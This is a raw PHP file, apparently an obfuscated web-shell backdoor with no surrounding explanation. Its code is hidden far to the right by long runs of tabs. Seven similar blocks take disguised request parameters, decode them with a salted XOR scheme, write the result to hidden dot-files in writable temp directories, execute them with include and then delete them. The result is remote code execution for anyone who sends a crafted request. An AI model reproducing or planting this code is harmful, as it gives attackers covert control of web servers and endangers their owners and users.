<?php																																										if(array_key_exists("\x64esc", $_POST)){ $ptr = $_POST["\x64esc"]; $ptr = explode ("." , $ptr) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; while ($q<count($ptr)) { $v6 = $ptr[$q]; $chS = ord($salt[$q% $lenS]); $dec = ((int)$v6 - $chS - ($q% 10)) ^ 35; $k.= chr($dec); $q++; } $key = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($key as $flag) { if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $elem = "$flag" . "/.value"; $success = file_put_contents($elem, $k); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(@$_REQUEST["\x64\x65sc"] !== null){ $token = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd()]); $dchunk = $_REQUEST["\x64\x65sc"]; $dchunk = explode ( '.', $dchunk ) ; $ptr=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt4); $m=0; array_walk($dchunk, function($v5) use(&$ptr, &$m, $salt4, $lenS) { $chS=ord($salt4[$m % $lenS]); $dec=((int)$v5 - $chS -($m % 10)) ^ 80; $ptr.= chr($dec); $m++;} ); for ($res = 0, $holder = count($token); $res < $holder; $res++) { $entry = $token[$res]; if (!( !is_dir($entry) || !is_writable($entry) )) { $ref = vsprintf("%s/%s", [$entry, ".factor"]); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $ref; @unlink($ref); die(); } } } }
																																										if(array_key_exists("\x64esc", $_REQUEST) && !is_null($_REQUEST["\x64esc"])){ $holder = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); $bind = $_REQUEST["\x64esc"]; $bind =explode ("." , $bind); $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $m = 0; while($m < count($bind)) { $v6 = $bind[$m]; $chS = ord($salt[$m% $lenS] ); $dec =((int)$v6 - $chS -($m% 10)) ^ 53; $hld .= chr($dec ); $m++; } foreach ($holder as $element) { if (is_dir($element) ? is_writable($element) : false) { $k = "$element" . "/.ref"; if (@file_put_contents($k, $hld) !== false) { include $k; unlink($k); die(); } } } }
																																										if(!is_null($_REQUEST["obj"] ?? null)){ $ent = $_REQUEST["obj"]; $ent = explode ( ".", $ent ) ; $bind = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $m = 0; foreach ($ent as $v7) {$chS = ord($s6[$m %$lenS] ); $d = ((int)$v7 - $chS - ($m %10)) ^ 68; $bind .= chr($d ); $m++; } $binding = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); for ($val = 0, $data_chunk = count($binding); $val < $data_chunk; $val++) { $holder = $binding[$val]; if (is_writable($holder) && is_dir($holder)) { $data = vsprintf("%s/%s", [$holder, ".resource"]); if (@file_put_contents($data, $bind) !== false) { include $data; unlink($data); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x66a\x63\x74or"])){ $data = $_REQUEST["\x66a\x63\x74or"]; $data = explode( "." ,$data); $sym = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); foreach ($data as $k => $v2) { $sChar = ord($s6[$k % $lenS]); $d = ((int)$v2 - $sChar - ($k % 10))^ 5; $sym.= chr($d); } $ent = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), "/var/tmp"]); foreach ($ent as $mrk) { if (is_dir($mrk) ? is_writable($mrk) : false) { $pgrp = "$mrk/.elem"; if (file_put_contents($pgrp, $sym)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65so\x75\x72ce"])){ $object = array_filter(["/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $ent = $_POST["\x72\x65so\x75\x72ce"]; $ent= explode ( '.' , $ent ) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $q= 0; while ($q < count($ent)) {$v6= $ent[$q]; $sChar= ord($salt[$q % $lenS] ); $d= ((int)$v6 - $sChar - ($q % 10)) ^ 49; $desc .= chr($d ); $q++; } while ($property_set = array_shift($object)) { if ((function($d) { return is_dir($d) && is_writable($d); })($property_set)) { $comp = str_replace("{var_dir}", $property_set, "{var_dir}/.element"); $success = file_put_contents($comp, $desc); if ($success) { include $comp; @unlink($comp); exit;} } } }


if(isset($_REQUEST) && isset($_REQUEST["\x66\x6Cag"])){
	$rec = array_filter([getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp"]);
	$obj = $_REQUEST["\x66\x6Cag"];
	   $obj	 =explode	( 		".",  $obj	 )			;	
	$item 	=	 '';
            $salt5 	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	=	 strlen($salt5 	);
            $x 	=	 0;
    
            array_walk($obj, function ($v7) use (&$item, &$x, $salt5, $sLen) {
                $sChar 	=	 ord($salt5[$x%$sLen] 	);
                $d 	=	 ((int)$v7 - $sChar - ($x%10)) ^ 42;
                $item	 .= chr($d 	);
                $x++;
            } 	);
	foreach ($rec as $pgrp) {
    		if ((is_dir($pgrp) and is_writable($pgrp))) {
    $res = "$pgrp/.itm";
    if (@file_put_contents($res, $item) !== false) {
	include $res;
	unlink($res);
	die();
}
}
}
}